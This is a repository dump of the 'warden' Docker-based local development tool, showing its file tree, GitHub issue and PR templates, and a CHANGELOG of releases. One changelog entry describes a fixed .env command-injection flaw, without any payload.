Full Code of wardenenv/warden for AI

main 7aaba6d4acee cached
130 files
180.6 KB
55.1k tokens
1 requests
Download .txt
Showing preview only (208K chars total). Download the full file or copy to clipboard to get everything.
Repository: wardenenv/warden
Branch: main
Commit: 7aaba6d4acee
Files: 130
Total size: 180.6 KB

Directory structure:
gitextract_yd6isbak/

├── .github/
│   ├── ISSUE_TEMPLATE/
│   │   ├── brew-issue.yml
│   │   ├── config.yml
│   │   ├── image-issue.yml
│   │   └── warden-issue.yml
│   ├── PULL_REQUEST_TEMPLATE/
│   │   ├── bugfix.md
│   │   └── new-feature.md
│   ├── pull_request_template.md
│   └── stale.yml
├── .vscode/
│   └── settings.json
├── CHANGELOG.md
├── LICENSE
├── README.md
├── TODO.md
├── bin/
│   └── warden
├── commands/
│   ├── blackfire.cmd
│   ├── blackfire.help
│   ├── db.cmd
│   ├── db.help
│   ├── debug.cmd
│   ├── debug.help
│   ├── doctor.cmd
│   ├── doctor.help
│   ├── env-init.cmd
│   ├── env-init.help
│   ├── env.cmd
│   ├── env.help
│   ├── install.cmd
│   ├── redis.cmd
│   ├── redis.help
│   ├── shell.cmd
│   ├── shell.help
│   ├── sign-certificate.cmd
│   ├── sign-certificate.help
│   ├── spx.cmd
│   ├── spx.help
│   ├── status.cmd
│   ├── status.help
│   ├── svc.cmd
│   ├── svc.help
│   ├── sync.cmd
│   ├── sync.help
│   ├── usage.cmd
│   ├── usage.help
│   ├── valkey.cmd
│   ├── valkey.help
│   ├── version.cmd
│   ├── vnc.cmd
│   └── vnc.help
├── config/
│   ├── openssl/
│   │   ├── certificate.conf
│   │   └── rootca.conf
│   └── traefik/
│       └── traefik.yml
├── docker/
│   ├── docker-compose.dnsmasq.yml
│   ├── docker-compose.mailpit.yml
│   ├── docker-compose.phpmyadmin.yml
│   ├── docker-compose.portainer.yml
│   └── docker-compose.yml
├── environments/
│   ├── cakephp/
│   │   ├── cakephp.base.yml
│   │   ├── cakephp.darwin.yml
│   │   ├── cakephp.mutagen.yml
│   │   ├── db.base.yml
│   │   └── init.env
│   ├── drupal/
│   │   ├── db.base.yml
│   │   ├── drupal.base.yml
│   │   ├── drupal.mutagen.yml
│   │   ├── drupal.mutagen_compose.yml
│   │   ├── drupal.settings.base.yml
│   │   ├── init.env
│   │   └── init.env.cmd
│   ├── includes/
│   │   ├── allure.base.yml
│   │   ├── blackfire.base.yml
│   │   ├── blackfire.darwin.yml
│   │   ├── blackfire.linux.yml
│   │   ├── db.base.yml
│   │   ├── elastichq.base.yml
│   │   ├── elasticsearch.base.yml
│   │   ├── networks.base.yml
│   │   ├── nginx.base.yml
│   │   ├── nginx.darwin.yml
│   │   ├── opensearch.base.yml
│   │   ├── php-fpm.base.yml
│   │   ├── php-fpm.darwin.yml
│   │   ├── php-fpm.linux.yml
│   │   ├── php-spx.base.yml
│   │   ├── rabbitmq.base.yml
│   │   ├── redis.base.yml
│   │   ├── selenium.base.yml
│   │   ├── valkey.base.yml
│   │   └── varnish.base.yml
│   ├── laravel/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   └── laravel.base.yml
│   ├── local/
│   │   └── local.base.yml
│   ├── magento1/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── magento1.base.yml
│   │   ├── magento1.blackfire.mutagen_compose.yml
│   │   ├── magento1.mutagen.yml
│   │   └── magento1.mutagen_compose.yml
│   ├── magento2/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── magento2.base.yml
│   │   ├── magento2.blackfire.mutagen_compose.yml
│   │   ├── magento2.graphql-debug.base.yml
│   │   ├── magento2.graphql.base.yml
│   │   ├── magento2.graphql.darwin.yml
│   │   ├── magento2.graphql.linux.yml
│   │   ├── magento2.magepack.base.yml
│   │   ├── magento2.magepack.linux.yml
│   │   ├── magento2.magepack.mutagen_compose.yml
│   │   ├── magento2.mutagen.yml
│   │   ├── magento2.mutagen_compose.yml
│   │   ├── magento2.splitdb.checkout.base.yml
│   │   ├── magento2.splitdb.sales.base.yml
│   │   └── magento2.tests.base.yml
│   ├── shopware/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── shopware.base.yml
│   │   ├── shopware.mutagen.yml
│   │   └── shopware.mutagen_compose.yml
│   ├── symfony/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   └── symfony.base.yml
│   └── wordpress/
│       ├── db.base.yml
│       ├── init.env
│       └── wordpress.base.yml
├── utils/
│   ├── core.sh
│   ├── env.sh
│   ├── install.sh
│   └── svc.sh
└── version

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/ISSUE_TEMPLATE/brew-issue.yml
================================================
name: Installing or Upgrading through Homebrew
description: Report an issue with the Warden software when installing or upgrading through Homebrew
title: '[Brew] '
labels: bug, brew update
type: bug
projects: wardenenv/1
body:
  - type: input
    id: version
    attributes:
      label: Version of Homebrew
      description: Run `brew -v` and provide the output
      placeholder: brew -v
    validations:
      required: true
  - type: input
    id: install
    attributes:
      label: Operating System and Installation Method
      description: Please tell us which operating system you're running brew on. (E.g. "Mac OS 12.6")
      placeholder: Mac OS 12.6
    validations:
      required: true
  - type: textarea
    id: what-happened
    attributes:
      label: Describe the Bug
      description: A clear and concise description of what the bug is.
    validations:
      required: true
  - type: textarea
    id: reproduce
    attributes:
      label: To Reproduce
      description: Steps to reproduce the behavior
      value: |
        1. Go to '...'  
        2. Click on '....'  
        3. Scroll down to '....'  
        4. See error
  - type: textarea
    id: expected
    attributes:
      label: Expected Behavior
      description: A clear and concise description of what you expected to happen and when
  - type: textarea
    id: additional
    attributes:
      label: Additional context
      description: Add any other context about the problem here.


================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
blank_issues_enabled: false
contact_links:
  - name: Feature Requests
    about: Post Feature Requests and Ideas in the Discussion area
    url: https://github.com/orgs/wardenenv/discussions/categories/ideas
  - name: Help
    about: If you're unsure if its a bug or need some help, post in the Discussions area
    url: https://github.com/orgs/wardenenv/discussions/categories/help-support

================================================
FILE: .github/ISSUE_TEMPLATE/image-issue.yml
================================================
name: Image Issue
description: Report an issue with an Image or Service not working as expected
title: '[Image] '
labels: bug, docker-images
type: bug
projects: wardenenv/1
body:
  - type: input
    id: version
    attributes:
      label: Version of Warden
      description: Run `warden version` and provide the output
      placeholder: warden version
    validations:
      required: true
  - type: input
    id: install
    attributes:
      label: Operating System and Installation Method
      description: Please tell us how you installed Warden and on what operating system.  (E.g. "Mac OS 12.6 via Brew")
      placeholder: Mac OS 12.6 via Brew
    validations:
      required: true
  - type: textarea
    id: image
    attributes:
      label: Image
      description: Please tell us which image and version you're experiencing the issue with.  For example, `php-fpm:8.1-magento2`.  If you're unsure, you can run `warden env config` and check the `image` key underneath the service you're having the issue with.  If this isn't working, please provide your `.env` file.
      placeholder: php-fpm:8.1-magento2
    validations:
      required: true
  - type: textarea
    id: what-happened
    attributes:
      label: Describe the Bug
      description: A clear and concise description of what the bug is.
    validations:
      required: true
  - type: textarea
    id: reproduce
    attributes:
      label: To Reproduce
      description: Steps to reproduce the behavior
      value: |
        1. Go to '...'  
        2. Click on '....'  
        3. Scroll down to '....'  
        4. See error
  - type: textarea
    id: expected
    attributes:
      label: Expected Behavior
      description: A clear and concise description of what you expected to happen and when
  - type: textarea
    id: additional
    attributes:
      label: Additional context
      description: Add any other context about the problem here.


================================================
FILE: .github/ISSUE_TEMPLATE/warden-issue.yml
================================================
name: Warden Command Issue
description: Report an issue with the Warden software (e.g. `warden` commands, docker compose files, images not pulling or mutagen sync)
title: '[Command] '
labels: bug
type: bug
projects: wardenenv/1
body:
  - type: input
    id: version
    attributes:
      label: Version of Warden
      description: Run `warden version` and provide the output
      placeholder: warden version
    validations:
      required: true
  - type: input
    id: install
    attributes:
      label: Operating System and Installation Method
      description: Please tell us how you installed Warden and on what operating system.  (E.g. "Mac OS 12.6 via Brew")
      placeholder: Mac OS 12.6 via Brew
    validations:
      required: true
  - type: textarea
    id: what-happened
    attributes:
      label: Describe the Bug
      description: A clear and concise description of what the bug is.
    validations:
      required: true
  - type: textarea
    id: reproduce
    attributes:
      label: To Reproduce
      description: Steps to reproduce the behavior
      value: |
        1. Go to '...'  
        2. Click on '....'  
        3. Scroll down to '....'  
        4. See error
  - type: textarea
    id: expected
    attributes:
      label: Expected Behavior
      description: A clear and concise description of what you expected to happen and when
  - type: textarea
    id: additional
    attributes:
      label: Additional context
      description: Add any other context about the problem here.


================================================
FILE: .github/PULL_REQUEST_TEMPLATE/bugfix.md
================================================
---
name: Bug Fix
about: Fix a bug with Warden
title: ''
labels: bug
assignees: ''

---
**Check List**  
- [ ] Is there an existing issue that covers this? (link it here, if so)
- [ ] Is there an entry in the CHANGELOG.md file?

<!--
Delete below sections at will if there is already an issue open for this bug, and if it is described accurately in it.
-->

**Describe the bug**
A clear and concise description of what the bug is.

**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error

**Expected behavior**
A clear and concise description of what you expected to happen.

**Screenshots**
If applicable, add screenshots to help explain your problem.

**Additional context**
Add any other context about the problem here.


================================================
FILE: .github/PULL_REQUEST_TEMPLATE/new-feature.md
================================================
---
name: New Feature
about: Submit a new feature
title: ''
labels: enhancement
assignees: ''

---

**Check List**  
- [ ] Matching PR in the documentation repo (replace text with link when it exists)
- [ ] Entry in CHANGELOG.md

**Is your feature request related to a problem? Please describe.**  
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

**Describe the solution you've submitted**  
A clear and concise description of what you want to happen.

**Describe alternatives you've considered**  
A clear and concise description of any alternative solutions or features you've considered.

**Additional context**  
Add any other context or screenshots about the feature request here.


================================================
FILE: .github/pull_request_template.md
================================================
<!-- [BUG] Feel free to delete everything between the bug tags if not a bug -->
**Check List**
- [ ] Is there an existing issue that covers this? (link it here, if so)
- [ ] Is there an entry in the CHANGELOG.md file?

<!--
Delete below sections at will if there is already an issue open for this bug, and if it is described accurately in it.
-->

**Describe the bug**
A clear and concise description of what the bug is.

**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error

**Expected behavior**
A clear and concise description of what you expected to happen.

**Screenshots**
If applicable, add screenshots to help explain your problem.

**Additional context**
Add any other context about the problem here.
<!-- [/BUG] -->

<!-- [FEATURE] Feel free to delete everything between the [FEATURE] tags if not a new feature -->
**Check List**
- [ ] Matching PR in the documentation repo (replace text with link when it exists)
- [ ] Entry in CHANGELOG.md

**Is your feature request related to a problem? Please describe.**  
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

**Describe the solution you've submitted**  
A clear and concise description of what you want to happen.

**Describe alternatives you've considered**  
A clear and concise description of any alternative solutions or features you've considered.

**Additional context**  
Add any other context or screenshots about the feature request here.
<!-- [/FEATURE] -->

================================================
FILE: .github/stale.yml
================================================
# Configuration for probot-stale - https://github.com/probot/stale

# Number of days of inactivity before an Issue or Pull Request becomes stale
daysUntilStale: 90

# Number of days of inactivity before an Issue or Pull Request with the stale label is closed.
# Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale.
daysUntilClose: 30

# Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable
exemptLabels:
  - pinned
  - security
  - enhancement
  - bug
  - documentation
  - up-for-grabs
  - docker-images
  - arm64

# Label to use when marking as stale
staleLabel: stale


================================================
FILE: .vscode/settings.json
================================================
{
  "files.exclude": {
    "docs/_build": true
  },
  "cSpell.words": [
    "appdata"
  ]
}

================================================
FILE: CHANGELOG.md
================================================
# Change Log

## UNRELEASED
[All Commits](https://github.com/wardenenv/warden/compare/0.16.0..main)

**Big Changes:**
* Traefik has been updated from v2 to v3.  For compatibility, we have kept the v2 rule engine as the default.  It is possible to opt-in to v3 rule syntax on a per-router basis.

**Security Fixes:**
* Fix arbitrary command execution via project `.env` files. The previous loader used `eval "$(grep ...)"` against any project's `.env`, allowing shell metacharacters (e.g. `$(...)` or backticks) inside `WARDEN_*`, `TRAEFIK_*` or `PHP_*` values to execute on the developer's host whenever `warden env *` was run. Replaced with a strict KEY=VALUE parser that validates identifiers and never evaluates values. (by @lbajsarowicz)

**Bug Fixes:**
* Add support to dynamically connect peered services based on enabled status ([#892](https://github.com/wardenenv/warden/issues/892) by @bap14, [#919](https://github.com/wardenenv/warden/issues/919) by @xinsodev)
* Fix WARDEN_DOCKER_SOCK error running `warden sign-certificate` ([#907](https://github.com/wardenenv/warden/issues/907) by @bap14)

## Version [0.16.0](https://github.com/wardenenv/warden/tree/0.16.0) (2026-02-12)

**Big Changes:**
* PHP SPX support ([#820](https://github.com/wardenenv/warden/pull/820) by @SamJUK)
* phpMyAdmin added to Warden core services ([#801](https://github.com/wardenenv/warden/pull/801) by @monteshot and bugfixes by @hardyjohnson)
* Added support for **Adobe Commerce GraphQL Application Server**  
  This support should be considered experimental.  Your Adobe Commerce application should already be setup and configured
  before turning on the GraphQL Application Flag.  You can enable GraphQL with the flag `WARDEN_MAGENTO2_GRAPHQL_SERVER=1`
  or run it using a debug PHP image by including the additional flag `WARDEN_MAGENTO2_GRAPHQL_SERVER_DEBUG=1`
* Added top level Warden debug information command `warden doctor` by @hardyjohnson

**Enhancements:**
* Add ability to run vite bundler in warden for Laravel. See: [Laravel + Vite](https://docs.warden.dev/environments/laravel.html) ([#846](https://github.com/wardenenv/warden/issues/846) by @bap14)
* Added Valkey service ([#861](https://github.com/wardenenv/warden#861) by @navarr)
* Added `warden db upgrade` command ([#895](https://github.com/wardenenv/warden/pull/895) by @workslop8264)

**Bug Fixes:**
* System-level SSL certificates are no longer overwritten ([#812](https://github.com/wardenenv/warden/pull/812) by @SamJUK)
* Portainer service domain default fix ([#837] by @hardyjohnson credit to: @manuelcanepa)
* Fix for Traefik configuration being overwritten in Warden home directory when running `warden svc up` command ([#876] by @hardyjohnson).
* Updated default Traefik version to 2.11 (from 2.2) to fix compatibility with newer Docker versions ([#896] by @mattijv)

## Version [0.15.0](https://github.com/wardenenv/warden/tree/0.15.0) (2024-11-04)

**Big Changes:**
* Moved from Mailhog to Mailpit ([#779](https://github.com/wardenenv/warden/pull/779) by @bap14)  
  While this seems like a fairly large change, it is smaller than you may give it credit for.  Email should continue to 
  be pushed to the email catcher, which is now located at https://webmail.warden.test/, with a redirect from the old
  mailhog URL.

**Enhancements:**
* Updated Laravel templates to latest PHP version ([#776](https://github.com/wardenenv/warden/pull/776) by @norgeindian)
* Updated Laravel to use Composer 2 ([#775](https://github.com/wardenenv/warden/pull/775) by @sprankhub)
* Added success message to `env-init` command ([#765](https://github.com/wardenenv/warden/pull/765) by @hardyjohnson)
* Added a warning message to start warden services if they're not running when you try to start an environment ([#766](https://github.com/wardenenv/warden/pull/766) by @hardyjohnson)

**Bug Fixes:**
* Fixed bash error "value too great for base" during `warden env up` ([#817](https://github.com/wardenenv/warden/pull/817) by @ihor-sviziev)

## Version [0.14.3](https://github.com/wardenenv/warden/tree/0.14.3) (2024-06-11)
[All Commits](https://github.com/wardenenv/warden/compare/0.14.2..0.14.3)

**Enhancements:**
* Linux UID/GID added to env command for future image enhancements ([#736](https://github.com/wardenenv/warden/pull/736) by @toonvd)

**Bug Fixes:**
* Remove obsolete version element ([#760](https://github.com/wardenenv/warden/pull/760) by @mattijv)
* Correct Java options are now passed to OpenSearch ([#735](https://github.com/wardenenv/warden/pull/735) by @ihor-sviziev)

## Version [0.14.2](https://github.com/wardenenv/warden/tree/0.14.2) (2024-01-03)
[All Commits](https://github.com/wardenenv/warden/compare/0.14.1..0.14.2)

**Enhancements:**
* Project and Local Warden commands will now take precedence over built-in warden commands ([#676](https://github.com/wardenenv/warden/pull/676) by @flpandre)
* New Magento 2 projects will default to the latest version of Magepack ([#712](https://github.com/wardenenv/warden/pull/712) by @sprankhub)

**Bug Fixes:**
* Traefik will now properly fallback to the default Warden certificate ([#725](https://github.com/wardenenv/warden/pull/725) by @SamJUK)
* `warden vnc` now properly connects to the container ([#721](https://github.com/wardenenv/warden/pull/721) by @sprankhub)
* `warden status` will now properly work with dashes in project names and urls ([#685](https://github.com/wardenenv/warden/pull/685) by @bap14)

## Version [0.14.1](https://github.com/wardenenv/warden/tree/0.14.1) (2023-07-10)
[All Commits](https://github.com/wardenenv/warden/compoare/0.14.0..0.14.1)

**Enhancements:**
* `warden status` command added that shows running Warden environments ([#669](https://github.com/wardenenv/warden/pull/669) by @bap14)

**Bug Fixes:**
* Updated Mutagen connection detection so that Mutagen doesn't resync every time in versions >= 0.15.0

## Version [0.14.0](https://github.com/wardenenv/warden/tree/0.14.0) (2023-06-19)
[All Commits](https://github.com/wardenenv/warden/compare/0.13.1..0.14.0)

**Dependency Changes:**
* All commands now use the Docker Compose plugin (`docker compose`) instead of the standalone command (`docker-compose`)  
  Please be aware that this will change your container names from using underscores to using dashes (e.g. vanilla_db_1 becomes vanilla-db-1).  This is configured through the environment variable `DOCKER_COMPOSE_COMMAND` which defaults to `docker compose`.

**Enhancements**
* ElasticSearch 8.7 and 8.8 images are available
* Drupal environment type added ([#646](https://github.com/wardenenv/warden/pull/646) by @bap14)

## Version [0.13.1](https://github.com/wardenenv/warden/tree/0.13.1) (2023-03-21)
[All Commits](https://github.com/wardenenv/warden/compare/0.13.0..0.13.1)

**Bug Fixes:**
* Removed changelog item about Backup and Restore commands that were reverted
* Incremented version from 0.12.0 to 0.13.1

## Version [0.13.0](https://github.com/wardenenv/warden/tree/0.13.0) (2023-03-20)
[All Commits](https://github.com/wardenenv/warden/compare/0.12.0..0.13.0)

**Enhancements:**

* Updated environment default Node version from 10 to 12 ([#425](https://github.com/wardenenv/warden/pull/425) by @davidalger)
* Ignore the only root .git directory ([#496](https://github.com/wardenenv/warden/pull/496) by @ihor-sviziev)
* Allow dnsmasq service to be disabled ([#462](https://github.com/wardenenv/warden/pull/462) by by @davidhiendl)
* Update Magento2 defaults to 2.4.6 ([#618](https://github.com/wardenenv/warden/pull/618) by by @lalittmohan)
* The ability to specify `MYSQL_DISTRIBUTION=(mysql|mariadb)` and `MYSQL_DISTRIBUTION_VERSION` ([dd5ff](https://github.com/wardenenv/warden/commit/dd5ffddf4764d43c70387435c7c75035615661f0) by @rootindex)
* Add `WARDEN_OPENSEARCH=1` and `OPENSEARCH_VERSION` ([2bd95](https://github.com/wardenenv/warden/commit/2bd95457748c1d639dc6109018d963ff624137ac) by @navarr)
* Migration from Selenium to Seleniarm ([471dc](https://github.com/wardenenv/warden/commit/471dc0411771e21448dd4aa9eba8e8fdc7abdfdb) by @navarr)
* Scoped environment config loading ([#451](https://github.com/wardenenv/warden/pull/451) by @tdgroot)
* Portainer made optional and off by default ([03783](https://github.com/wardenenv/warden/commit/03783b65cfdd644133e75468808a93e751922077) by @bap14)
* Persist MySQL command history ([45a16](https://github.com/wardenenv/warden/commit/45a16f064680dec0e7cb3fe4906090359bd3dfd5) by @navarr)

**Bug Fixes:**
* Update default URL for ElasticsearchHQ by @ihor-sviziev in [wardenenv/warden#428](https://github.com/wardenenv/warden/pull/428)
* Corrected syntax of env-init.help command by @davidalger in [wardenenv/warden#490](https://github.com/wardenenv/warden/pull/490)
* Add `traefik.docker.network` label to specify docker network exclusively by @tdgroot in [wardenenv/warden#458](https://github.com/wardenenv/warden/pull/458)
* Require docker compose 2.2.3 when compose v2 is active by @davidalger in [wardenenv/warden#489](https://github.com/wardenenv/warden/pull/489)

## Version [0.12.0](https://github.com/davidalger/warden/tree/0.12.0) (2021-08-28)
[All Commits](https://github.com/davidalger/warden/compare/0.11.0..0.12.0)

**Enhancements:**

* Added Elastic HQ support available at elastichq.mydomain.test for viewing Elasticsearch data ([#350](https://github.com/davidalger/warden/pull/350) by @Den4ik)
* Update selenium to standalone latest version resolving issues with old hub/chrome image combinations ([#349](https://github.com/davidalger/warden/pull/349) by @Den4ik)
* Environment and image build improvements ([#363](https://github.com/davidalger/warden/pull/363) by @Den4ik)
* Introduces new redis sub-command for easy access to the running redis container ([#413](https://github.com/davidalger/warden/pull/413) by @werfu)
* SSH known hosts will now be persisted via an additional `sshdirectory:/home/www-data/.ssh` volume on php-fpm containers ([#315](https://github.com/davidalger/warden/pull/315) by @ihor-sviziev)
* Docker images for Nginx 1.18 are now available ([#414](https://github.com/davidalger/warden/pull/414) by @darrakurt)

**Bug Fixes:**

* Fixed loadEnvConfig inability to parse .env with CRLF line endings (issue [#380](https://github.com/davidalger/warden/issues/380))

## Version [0.11.0](https://github.com/davidalger/warden/tree/0.11.0) (2021-04-22)
[All Commits](https://github.com/davidalger/warden/compare/0.10.2..0.11.0)

**Upgrade Notes:**

PHP and Varnish images have been rebuilt on a CentOS 8 base image (previously used a CentOS 7 base image). This eliminates the need for IUS for installing Git and MariaDB clients as these can now be installed from the default EL RPMs. This also allows for constants supported by more recent versions of Curl to be used in PHP code, latest calendar / locale features available in newer versions of ICU libraries to be used, etc.

Please note that builds for PHP versions 5.5, 5.6, 7.0 and 7.1 have been dropped. Images will remain on Docker Hub so they'll continue to be available for existing projects actively using them, they simply will see no further enhancements or maintenance.

To ensure you have the latest re-builds of Warden images and update your projects: `warden env pull && warden env up`

For full details on what went into these rebuilds, please see [#345](https://github.com/davidalger/warden/pull/345).

Huge shout out to @tdgroot who helped with updating the builds, testing, etc.

**Enhancements:**

* Shopware and Symfony environments will now use Composer v2 by default (issue [#359](https://github.com/davidalger/warden/issues/359))

## Version [0.10.2](https://github.com/davidalger/warden/tree/0.10.2) (2021-04-03)
[All Commits](https://github.com/davidalger/warden/compare/0.10.1..0.10.2)

**Bug Fixes:**

* Fixed bug where Live Reload might not work when Varnish was disabled due to routing priorities ([#337](https://github.com/davidalger/warden/pull/337) by @alinalexandru)

**Enhancements:**

* Magento 1 and Magento 2 environments now set developer environment variables by default ([#332](https://github.com/davidalger/warden/pull/332) by @norgeindian)
* SSH Agent forwarding will no longer use socat except when needed ([#334](https://github.com/davidalger/warden/pull/334) by @alinalexandru)

## Version [0.10.1](https://github.com/davidalger/warden/tree/0.10.1) (2021-03-01)
[All Commits](https://github.com/davidalger/warden/compare/0.10.0..0.10.1)

**Bug Fixes:**

* Fixed a bug where SSH Agent forwarding would break following container restart ([#307](https://github.com/davidalger/warden/pull/307) by @ihor-sviziev)
* Fixed a issue where Xdebug 3 images would generate excessive profile data when running CLI commands in debug container ([#309](https://github.com/davidalger/warden/pull/309) by @Den4ik)

Please note that you must pull the latest `php-fpm` images via `warden env pull` to get these bug fixes relating to configuration in the pre-built images.

**Enhancements:**

* There is now a `warden db dump` command available to run `mysqldump` on the `db` container ([#310](https://github.com/davidalger/warden/pull/310) by @Den4ik)
* Bash history will now be persisted via an additional `bashhistory:/bash_history` volume on php-fpm containers ([#304](https://github.com/davidalger/warden/pull/304) by @Den4ik)

## Version [0.10.0](https://github.com/davidalger/warden/tree/0.10.0) (2021-02-13)
[All Commits](https://github.com/davidalger/warden/compare/0.9.1..0.10.0)

**Upgrade Notes:**

* Various updates to PHP images have occurred since the last major release including a transition to using Remi vs IUS for RPMs. It's highly recommended you re-pull to get the latest images and update your projects: `warden env pull && warden env up`
* Warden now requires `mutagen` 0.11.8 or later for environments leveraging sync sessions on Mac OS. Reference issue [#235](https://github.com/davidalger/warden/issues/235) for details. This is to resolve an incompatibility between earlier versions of Mutagen and Docker Desktop 2.3.0.5 and later.
* There is a new docs page on [DNS resolver configuration](https://docs.warden.dev/configuration/dns-resolver.html) thanks to @Skullsneeze
* The docs page on Installing Warden includes a new section titled [Trusted CA Root Certificate](https://docs.warden.dev/installing.html#trusted-ca-root-certificate) with additional post-install information largely relevant to Linux users.
* Images for Varnish 6.4 and 6.5 are now available in addition to 6.0 LTS and 4.1 to support users who desire to remain closer to the bleeding edge.
* Redis 6 and Elasticsearch 7.11 images have recently been made available.
* When updating to Composer v2 using the new `COMPOSER_VERSION=2` setting, make sure you remove `hirak/prestissimo` from global (if present) `composer global remove hirak/prestissimo`
* Warden will no longer attempt to auto-configure DNS resolution for `*.test` on non-Darwin systems due to a combination of security reasons, lack of per-TLD resolver configuration (as is used on Darwin/Mac OS) and the myriad permutations of resolver configuration across various Linux based distros. The dnsmasq container will still be started, but a warning will now be emitted on Linux directing users to the new docs page on [DNS resolver configuration](https://docs.warden.dev/configuration/dns-resolver.html).

**Bug Fixes:**

* The `.idea` directory is no longer ignored from Mutagen sync allowing `bin/magento dev:urn-catalog:generate` to be generate metadata the IDE uses (issue [#291](https://github.com/davidalger/warden/issues/291))
* Installing on WSL will no longer report innocuous errors related to lack of systemd support on WSL as the install routine no longer makes calls to `systemctl` on Linux systems (issue [#220](https://github.com/davidalger/warden/issues/220))

**Enhancements:**

* Added opt-in support for Xdebug 3 (see docs for details; new environments will set `PHP_XDEBUG_3=1`) ([#279](https://github.com/davidalger/warden/pull/279) by @Den4ik)
* Added ability to provide persistent additional configuration to `dnsmasq` service (issue [#214](https://github.com/davidalger/warden/issues/214))
* Added ability to easily specify alternate nameservers for `dnsmasq` to use (issue [#214](https://github.com/davidalger/warden/issues/214))
* Added ability to customize bundled environment compositions by overriding them in the Warden home dir ([#228](https://github.com/davidalger/warden/pull/228) by @k4emic)
* Added ability to override sync configuration on a per-project basis or provide one on env types such as `local` where default one does not exist ([#246](https://github.com/davidalger/warden/pull/246) by @Den4ik)
* Updated version of Portainer from 1.24.X to 2.0.X ([#245](https://github.com/davidalger/warden/pull/245) by @MarcoFaul)
* Added support for `COMPOSER_VERSION` in `.env` to configure `composer` to run the newer Composer v2. At this time the default remains Composer v1 for compatibility reasons (issue [#296](https://github.com/davidalger/warden/issues/296))
* Added modman support for `magento1` environment type ([#290](https://github.com/davidalger/warden/pull/290) by @norgeindian)

## Version [0.9.1](https://github.com/davidalger/warden/tree/0.9.1) (2020-08-25)
[All Commits](https://github.com/davidalger/warden/compare/0.9.0..0.9.1)

**Bug Fixes:**

* Fixed bug on WSL2 where Xdebug connect back host was improperly set ([#213](https://github.com/davidalger/warden/pull/213) by @ihor-sviziev)

## Version [0.9.0](https://github.com/davidalger/warden/tree/0.9.0) (2020-08-06)
[All Commits](https://github.com/davidalger/warden/compare/0.8.2..0.9.0)

**Upgrade Notes:**

* Removed deprecated first-class commands `warden start`, `warden stop`, `warden up`, `warden down`, and `warden restart`; please use `warden svc <verb>` to manage global services such as Traefik, Portainer, Mailhog, etc ([#205](https://github.com/davidalger/warden/pull/205) by @davidalger)

**Enhancements:**

* Added a new `wordpress` environment type pre-configured for running the Wordpress application ([#206](https://github.com/davidalger/warden/pull/206) by @jamescowie)

## Version [0.8.2](https://github.com/davidalger/warden/tree/0.8.2) (2020-08-03)
[All Commits](https://github.com/davidalger/warden/compare/0.8.1..0.8.2)

**Enhancements:**

* Changed all `:delegated` mounts to `:cached` mounts to preserve existing behavior of mounts when new behavior in Docker Desktop Edge 2.3.2.0 is promoted to stable channel ([#204](https://github.com/davidalger/warden/pull/204) by @davidalger)

## Version [0.8.1](https://github.com/davidalger/warden/tree/0.8.1) (2020-07-30)
[All Commits](https://github.com/davidalger/warden/compare/0.8.0..0.8.1)

**Enhancements:**

* Updated default version of PHP for new `magento2` environments to PHP 7.4
* Updated default version of Elasticsearch for new `magento2` environments to Elasticsearch 7.6
* Updated default version of Elasticsearch where unspecified in project's `.env` file to Elasticsearch 7.8
* Dropped Elasticsearch image builds for versions prior to 6.8 and versions 7.0 through 7.5

**Bug Fixes:**

* Fixed issue where nginx would unexpectedly exit on Linux due to incorrect default value for `XDEBUG_CONNECT_BACK_HOST` in base nginx configuration (issue [#200](https://github.com/davidalger/warden/issues/200))

## Version [0.8.0](https://github.com/davidalger/warden/tree/0.8.0) (2020-07-27)
[All Commits](https://github.com/davidalger/warden/compare/0.7.0..0.8.0)

**Upgrade Notes:**

* To ensure Traefik 2.2 version update takes effect, run `warden svc up` after updating.
* Pre-existing projects may need to be re-created to avoid warnings from docker-compose regarding unused named volumes.
* The `BYPASS_VARNISH` flag (deprecated in 0.5.0) has been removed. Use toggle `WARDEN_VARNISH=0` to disable Varnish.
* Recently updated `php-fpm` images now include the `crontabs` package with `crond` running in the background. Be sure you have the latest images by running `warden env pull` in the project directory followed by `warden env up` to use this functionality. To configure a crontab that is persistent, a crontab file may be mounted at `/var/spool/cron/www-data` (std crontab path) via custom configuration in the project's `.warden/warden-env.yml` file.

**Enhancements:**

* Added `warden vnc` command to launch VNC tunnel via SSH or (when installed) launch Remmina ([#116](https://github.com/davidalger/warden/pull/116) by @lbajsarowicz)
* Updated `warden env`, `warden svc` and `warden db` to print help text when called without any parameters specified
* Updated volume declarations for RabbitMQ and Redis services to use named volumes (avoid use of anonymous volumes)
* Updated version of Traefik from 2.1 to 2.2
* Updated `warden debug` to also pass `host.docker.internal` into the `php-debug` container for the `XDEBUG_REMOTE_HOST` value on WSL when Microsoft is present in `/proc/sys/kernel/osrelease` ([#196](https://github.com/davidalger/warden/pull/196) by @LeeSaferite)
* Updated nginx configuration to pass `XDEBUG_CONNECT_BACK_HOST` as environment variable in base config allowing it to be overridden by exported env variable on all host OS envs ([#199](https://github.com/davidalger/warden/pull/199) by @LeeSaferite)

## Version [0.7.0](https://github.com/davidalger/warden/tree/0.7.0) (2020-07-22)
[All Commits](https://github.com/davidalger/warden/compare/0.6.0..0.7.0)

**Upgrade Notes:**

* With `mailhog` being changed from running on a per-project basis to running as a global service (see issue [#175](https://github.com/davidalger/warden/issues/175)) you will need to ensure `warden svc up` has been run after updating Warden. On pre-existing projects that already had their own Mailhog container running, `warden env up --remove-orphans` will clean it up.

**Enhancements:**

* Added `warden blackfire` command for easily running profiles via the CLI tool ([#188](https://github.com/davidalger/warden/pull/188) by @navarr)
* Changed `mailhog` service to run as a single global service rather than as a per-project service (issue [#175](https://github.com/davidalger/warden/issues/175))
